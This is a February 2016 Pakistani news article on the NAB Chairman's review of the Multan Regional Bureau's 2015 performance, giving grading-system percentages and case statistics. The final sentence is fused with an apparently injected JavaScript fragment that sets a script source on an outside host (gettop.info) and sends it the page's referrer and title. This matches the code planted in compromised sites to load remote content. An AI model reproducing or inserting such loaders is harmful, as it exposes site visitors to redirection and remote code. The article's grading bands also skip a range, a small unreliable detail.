Published On: Thu, Feb 18th, 2016
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NAB committed to eradicate corruption from the country: NAB Chairman

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Multan: NAB is committed to eradicate corruption from the country whereas it operates under the National Accountability Ordinance-1999 which is extended to all of Pakistan, including FATA and Gilgit Baltistan, said a press release issued here on Wednesday.

This was said by Chairman NAB Qamar Zaman Chaudhry during his visit to NAB Multan Regional Bureau to review its performance on the basis of annual inspection conducted by Chairman’s Inspection & Monitoring Team (CI&MT) at NAB Multan Bureau.

NAB Chairman’s Inspection & Monitoring Team (CI&MT) was deputed to conduct annual inspection of NAB Multan Regional Bureau for the year 2015. The annual inspection was carried out from February 15 to February 17, 2016 in order to review and evaluate the performance of NAB Multan Bureau on the basis of newly introduced Partly Quantified Grading System (PQGS).

Senior Member, Chairman’s Inspection and Monitoring Team (CI&MT) along with his team conducted the said annual inspection for the year 2015. He gave a detailed briefing to Chairman NAB about the annual inspection done by (CI&MT) and highlighted the strengths and weaknesses of NAB Multan Regional Bureau.

He informed that on the directions of Mr. Qamar Zaman Chaudhry, Chairman NAB Partly Quantified Grading System (PQGS) had been devised in 2014. Under this Partly Quantified Grading System (PQGS), the performance of all NAB’s Regional Bureaus was conducted in 2014 during January and February 2015 at uniform criteria. 80% marks will be considered “Outstanding/Excellent”, between 60% to 79% will be considered as “Very Good”, between 40% to 49% will be considered as “Good”, while marks less than 40% will be considered as “Below Average”.

Zaman directed CI&MT along with his team to conduct annual inspection of all Regional NAB Bureaus of 2015 so that their performance may please be reviewed on the basis of annual inspection which has stated from January 2016 and annual inspection of Karachi, Rawalpindi, KPK, Sukkar and Lahore have been conducted during January 2016. The annual inspection of NAB Multan was carried out from February 15 to February 17, 2016 and today Chairman NAB’s Inspection and Monitoring Team gave its final presentation about the performance of NAB Multan during 2015.

Chairman NAB said that NAB Multan Regional Bureau is newly established Regional Bureau which will play its due role in eradication of corruption. In 2015, NAB Multan has received 1438 complaints which were process according to the law. NAB Multan, out of 124 complaints verification (CVs), completed 87 complaint verifications. NAB Multan, out of 61 inquiries, completed 43 whereas out of 32 investigations, NAB Multan has completed 23 investigations on merit. During 2015, NAB Multan has arrested 07 corrupts and filed 16 corruption references during 2015. During 2015, NAB Multan has recovered Rs. 21.13 million during 2015.

He further said that under Partly Quantified Grading System prepared by the CI&MT has graded NAB Multan’s performance as outstanding with 97% operational efficiency index. He appreciated the performance of NAB Multan under the supervision DG NAB Multan.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;